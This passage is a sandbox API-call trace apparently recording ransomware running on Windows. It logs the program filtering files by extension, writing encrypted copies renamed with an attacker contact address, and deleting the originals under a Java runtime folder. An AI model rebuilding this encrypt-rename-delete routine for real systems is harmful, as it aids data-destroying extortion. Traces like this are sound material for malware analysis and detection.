lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.275] lstrlenW (lpString=".1cd") returned 4 [0300.275] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0300.275] lstrlenW (lpString=".jpg") returned 4 [0300.275] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.275] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0300.275] lstrlenW (lpString="msvcp120.dll") returned 12 [0300.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0300.276] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=660128) returned 1 [0300.276] CloseHandle (hObject=0x10d4) returned 1 [0300.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0300.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0300.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0300.276] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.276] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0300.277] GetLastError () returned 0x0 [0300.277] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0xa12a0, lpOverlapped=0x0) returned 1 [0300.996] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xa12b0, lpOverlapped=0x0) returned 1 [0301.186] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.186] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.186] SetEndOfFile (hFile=0x10e8) returned 1 [0301.186] CloseHandle (hObject=0x10e8) returned 1 [0301.186] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.186] SetEndOfFile (hFile=0x10d4) returned 1 [0301.191] CloseHandle (hObject=0x10d4) returned 1 [0301.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.191] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 1 [0301.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.192] lstrlenW (lpString=".doc") returned 4 [0301.192] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.192] lstrlenW (lpString=".docx") returned 5 [0301.192] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0301.192] lstrlenW (lpString=".pdf") returned 4 [0301.192] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.192] lstrlenW (lpString=".xls") returned 4 [0301.192] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.192] lstrlenW (lpString=".xlsx") returned 5 [0301.192] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0301.192] lstrlenW (lpString=".ppt") returned 4 [0301.192] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.192] lstrlenW (lpString=".zip") returned 4 [0301.192] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.192] lstrlenW (lpString=".rar") returned 4 [0301.192] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.192] lstrlenW (lpString=".bz2") returned 4 [0301.192] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.192] lstrlenW (lpString=".7z") returned 3 [0301.192] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.192] lstrlenW (lpString=".dbf") returned 4 [0301.192] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.192] lstrlenW (lpString=".1cd") returned 4 [0301.192] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.192] lstrlenW (lpString=".jpg") returned 4 [0301.192] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.193] lstrlenW (lpString=".doc") returned 4 [0301.193] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.193] lstrlenW (lpString=".docx") returned 5 [0301.193] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0301.193] lstrlenW (lpString=".pdf") returned 4 [0301.193] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.193] lstrlenW (lpString=".xls") returned 4 [0301.193] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.193] lstrlenW (lpString=".xlsx") returned 5 [0301.193] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0301.193] lstrlenW (lpString=".ppt") returned 4 [0301.193] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.193] lstrlenW (lpString=".zip") returned 4 [0301.193] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.193] lstrlenW (lpString=".rar") returned 4 [0301.193] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.193] lstrlenW (lpString=".bz2") returned 4 [0301.193] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.193] lstrlenW (lpString=".7z") returned 3 [0301.193] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.193] lstrlenW (lpString=".dbf") returned 4 [0301.193] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.193] lstrlenW (lpString=".1cd") returned 4 [0301.193] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0301.193] lstrlenW (lpString=".jpg") returned 4 [0301.193] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.194] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.194] lstrlenW (lpString="net.dll") returned 7 [0301.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0301.194] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=96832) returned 1 [0301.194] CloseHandle (hObject=0x10d4) returned 1 [0301.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0301.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0301.194] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.194] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.195] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0301.195] GetLastError () returned 0x0 [0301.195] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x17a40, lpOverlapped=0x0) returned 1 [0301.332] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x17a50, lpOverlapped=0x0) returned 1 [0301.334] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.334] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe2, lpOverlapped=0x0) returned 1 [0301.334] SetEndOfFile (hFile=0x10e8) returned 1 [0301.334] CloseHandle (hObject=0x10e8) returned 1 [0301.334] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.334] SetEndOfFile (hFile=0x10d4) returned 1 [0301.335] CloseHandle (hObject=0x10d4) returned 1 [0301.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.335] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 1 [0301.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.336] lstrlenW (lpString=".doc") returned 4 [0301.336] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.336] lstrlenW (lpString=".docx") returned 5 [0301.336] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0301.336] lstrlenW (lpString=".pdf") returned 4 [0301.336] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.336] lstrlenW (lpString=".xls") returned 4 [0301.336] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.336] lstrlenW (lpString=".xlsx") returned 5 [0301.336] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0301.336] lstrlenW (lpString=".ppt") returned 4 [0301.336] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.336] lstrlenW (lpString=".zip") returned 4 [0301.336] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.336] lstrlenW (lpString=".rar") returned 4 [0301.336] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.336] lstrlenW (lpString=".bz2") returned 4 [0301.336] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.336] lstrlenW (lpString=".7z") returned 3 [0301.336] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.336] lstrlenW (lpString=".dbf") returned 4 [0301.336] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.336] lstrlenW (lpString=".1cd") returned 4 [0301.336] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.337] lstrlenW (lpString=".jpg") returned 4 [0301.337] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.337] lstrlenW (lpString=".doc") returned 4 [0301.337] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.337] lstrlenW (lpString=".docx") returned 5 [0301.337] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0301.337] lstrlenW (lpString=".pdf") returned 4 [0301.337] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.337] lstrlenW (lpString=".xls") returned 4 [0301.337] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.337] lstrlenW (lpString=".xlsx") returned 5 [0301.337] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0301.337] lstrlenW (lpString=".ppt") returned 4 [0301.337] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.337] lstrlenW (lpString=".zip") returned 4 [0301.337] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.337] lstrlenW (lpString=".rar") returned 4 [0301.337] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.337] lstrlenW (lpString=".bz2") returned 4 [0301.337] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.337] lstrlenW (lpString=".7z") returned 3 [0301.337] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.337] lstrlenW (lpString=".dbf") returned 4 [0301.337] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.337] lstrlenW (lpString=".1cd") returned 4 [0301.337] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0301.337] lstrlenW (lpString=".jpg") returned 4 [0301.337] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.338] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.338] lstrlenW (lpString="npt.dll") returned 7 [0301.338] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0301.338] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=19008) returned 1 [0301.338] CloseHandle (hObject=0x10d4) returned 1 [0301.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0301.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.338] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0301.338] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.339] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.339] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0301.339] GetLastError () returned 0x0 [0301.339] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x4a40, lpOverlapped=0x0) returned 1 [0301.540] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x4a50, lpOverlapped=0x0) returned 1 [0301.541] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.541] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe2, lpOverlapped=0x0) returned 1 [0301.541] SetEndOfFile (hFile=0x10e8) returned 1 [0301.542] CloseHandle (hObject=0x10e8) returned 1 [0301.542] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.542] SetEndOfFile (hFile=0x10d4) returned 1 [0301.543] CloseHandle (hObject=0x10d4) returned 1 [0301.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.544] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 1 [0301.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.544] lstrlenW (lpString=".doc") returned 4 [0301.544] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.544] lstrlenW (lpString=".docx") returned 5 [0301.544] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0301.544] lstrlenW (lpString=".pdf") returned 4 [0301.544] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.544] lstrlenW (lpString=".xls") returned 4 [0301.544] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.544] lstrlenW (lpString=".xlsx") returned 5 [0301.544] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0301.544] lstrlenW (lpString=".ppt") returned 4 [0301.544] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.544] lstrlenW (lpString=".zip") returned 4 [0301.544] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.544] lstrlenW (lpString=".rar") returned 4 [0301.544] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.545] lstrlenW (lpString=".bz2") returned 4 [0301.545] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.545] lstrlenW (lpString=".7z") returned 3 [0301.545] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.545] lstrlenW (lpString=".dbf") returned 4 [0301.545] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.545] lstrlenW (lpString=".1cd") returned 4 [0301.545] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.545] lstrlenW (lpString=".jpg") returned 4 [0301.545] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.545] lstrlenW (lpString=".doc") returned 4 [0301.545] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.545] lstrlenW (lpString=".docx") returned 5 [0301.545] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0301.545] lstrlenW (lpString=".pdf") returned 4 [0301.545] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.545] lstrlenW (lpString=".xls") returned 4 [0301.545] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.545] lstrlenW (lpString=".xlsx") returned 5 [0301.545] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0301.545] lstrlenW (lpString=".ppt") returned 4 [0301.546] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.546] lstrlenW (lpString=".zip") returned 4 [0301.546] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.546] lstrlenW (lpString=".rar") returned 4 [0301.546] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.546] lstrlenW (lpString=".bz2") returned 4 [0301.546] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.546] lstrlenW (lpString=".7z") returned 3 [0301.546] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.546] lstrlenW (lpString=".dbf") returned 4 [0301.546] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.546] lstrlenW (lpString=".1cd") returned 4 [0301.546] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0301.546] lstrlenW (lpString=".jpg") returned 4 [0301.546] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.546] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.546] lstrlenW (lpString="msvcr100.dll") returned 12 [0301.546] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0301.547] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=829264) returned 1 [0301.547] CloseHandle (hObject=0x10d4) returned 1 [0301.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20 [0301.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.547] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 